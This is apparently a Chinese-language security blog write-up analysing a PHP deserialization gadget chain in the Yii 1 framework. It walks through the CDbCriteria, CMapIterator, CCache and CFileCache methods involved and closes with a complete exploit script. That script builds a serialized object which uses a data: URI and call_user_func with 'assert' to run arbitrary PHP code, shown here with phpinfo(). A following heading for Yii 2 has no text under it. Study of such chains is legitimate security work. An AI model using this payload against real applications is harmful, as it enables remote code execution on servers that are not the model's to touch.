yii1反序列化

在yii1中,反序列化的入口点在__wakeup魔术方法,在文件\framework\db\schema\CDbCriteria.php

这里$this->params是可控的,继续看\framework\collections\CMapIterator.php这个类,这里利用了接口Iterator,关于这个接口的详细使用可以查看:https://blog.csdn.net/wuxing26jiayou/article/details/50977462 ,所以会调用到current方法,而这里$this->_d和$this->_key都是可控的

而php另外一个接口ArrayAccess返回实例化对象的数组形式,会直接调用offsetGet方法,在文件\framework\caching\CCache.php中,使用了这个接口

public function offsetGet($id)
{
    return $this->get($id);
}

跟进get方法

public function get($id)
{
    $value = $this->getValue($this->generateUniqueKey($id));
    if($value===false || $this->serializer===false)
        //echo 11;exit;
        return $value;
    if($this->serializer===null)
        $value=unserialize($value);
    else
        $value=call_user_func($this->serializer[1], $value);
    if(is_array($value) && (!$value[1] instanceof ICacheDependency || !$value[1]->getHasChanged()))
    {
        Yii::trace('Serving "'.$id.'" from cache','system.caching.'.get_class($this));
        return $value[0];
    }
    else
        return false;
}

这里使用了call_user_func函数执行代码,$this->serializer是可控的,这里只需要满足$value可控就可以执行任意代码,跟进generateUniqueKey方法查看

protected function generateUniqueKey($key)
{
    return $this->hashKey ? md5($this->keyPrefix.$key) : $this->keyPrefix.$key;
}

$this->hashKey和$this->keyPrefix是可控的,所以这个方法不重要,继续查看getValue方法:\framework\caching\CFileCache.php

protected function getValue($key)
{
    $cacheFile=$this->getCacheFile($key); // key = 0
    //echo $this->filemtime($cacheFile);exit;
    if(($time=$this->filemtime($cacheFile))>time()) {
        return @file_get_contents($cacheFile,false,null,$this->embedExpiry ? 10 : null);
    }
    elseif($time>0) {
        //echo 111;
        //exit;
        @unlink($cacheFile);
    }
    return false;
}

这个方法主要是读取文件的内容并返回,继续跟进getCacheFile方法,看$cacheFile是否可控

protected function getCacheFile($key)
{
    if($this->directoryLevel>0)
    {
        $base=$this->cachePath;
        for($i=0;$i<$this->directoryLevel;++$i)
        {
            if(($prefix=substr($key,$i+$i,2))!==false)
                $base.=DIRECTORY_SEPARATOR.$prefix;
        }
        return $base.DIRECTORY_SEPARATOR.$key.$this->cacheFileSuffix;
    }
    else
        return $this->cachePath.DIRECTORY_SEPARATOR.$key.$this->cacheFileSuffix;
}

这里$this->directoryLevel和cachePath、cacheFileSuffix可控,DIRECTORY_SEPARATOR常量为反斜杠,所以在getValue方法中$cacheFile是可控的,由于有个\0目录存在,可以利用data协议来获取value的值。exp如下:

<?php
class CMapIterator
{
    private $_d;
    private $_keys = [0];
    private $_key = 0;

    function __construct($_d)
    {
        $this->_d = $_d;
    }
}

class CDbCriteria
{
    function __construct($params)
    {
        $this->params = $params;
    }
}

class CFileCache
{
    public $keyPrefix = '';
    public $hashKey = false;
    public $serializer;

    public $cachePath = 'data:text/';
    public $directoryLevel = 0;
    public $embedExpiry = true;
    public $cacheFileSuffix;

    function __construct()
    {
        $this->serializer = [1 => 'assert'];
        $this->cacheFileSuffix = ';base64,' . base64_encode('9999999999phpinfo()');
    }
}

$a = new \CFileCache();
$b = new \CMapIterator($a);
$c = new \CDbCriteria($b);
echo urlencode(serialize($c))
?>

yii2反序列化